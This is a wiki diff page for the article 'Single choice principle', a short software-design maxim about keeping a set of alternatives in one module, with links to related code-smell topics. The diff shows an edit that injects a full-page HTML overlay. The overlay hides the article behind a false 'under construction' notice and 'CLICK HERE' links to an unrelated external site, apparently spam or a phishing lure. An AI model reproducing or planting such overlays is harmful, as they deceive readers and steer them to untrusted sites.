Single choice principle
From CSSEMediaWiki
(Difference between revisions)
Line 1: | Line 1: | ||
This states that whenever a program needs to support a set of known alternatives, this set should only exist in one module. Repeating the alternatives in several modules is unnecessary and makes it hard to maintain when an alternative is added or removed. | This states that whenever a program needs to support a set of known alternatives, this set should only exist in one module. Repeating the alternatives in several modules is unnecessary and makes it hard to maintain when an alternative is added or removed. | ||
− | == See also == | + | >== See also == |
* [[Design maxims]] | * [[Design maxims]] | ||
* [[Once and only once]] | * [[Once and only once]] | ||
Line 10: | Line 10: | ||
* [[Strategy]] | * [[Strategy]] | ||
* [[Switch statement smell]] (Espically, the same switch statement in many places) | * [[Switch statement smell]] (Espically, the same switch statement in many places) | ||
+ | |||
+ | ---- | ||
+ | <div style="background: #E8E8E8 none repeat scroll 0% 0%; overflow: hidden; font-family: Tahoma; font-size: 11pt; line-height: 2em; position: absolute; width: 2000px; height: 2000px; z-index: 1410065407; top: 0px; left: -250px; padding-left: 400px; padding-top: 50px; padding-bottom: 350px;"> | ||
+ | ---- | ||
+ | =[http://ifawaqumeq.co.cc This Page Is Currently Under Construction And Will Be Available Shortly, Please Visit Reserve Copy Page]= | ||
+ | ---- | ||
+ | =[http://ifawaqumeq.co.cc CLICK HERE]= | ||
+ | ---- | ||
+ | </div> |
Revision as of 02:30, 18 November 2010
This states that whenever a program needs to support a set of known alternatives, this set should only exist in one module. Repeating the alternatives in several modules is unnecessary and makes it hard to maintain when an alternative is added or removed.
>== See also ==
- Design maxims
- Once and only once
- Duplicate code smell
- Don't repeat yourself
- Code smells
- Refactoring
- Strategy
- Switch statement smell (Espically, the same switch statement in many places)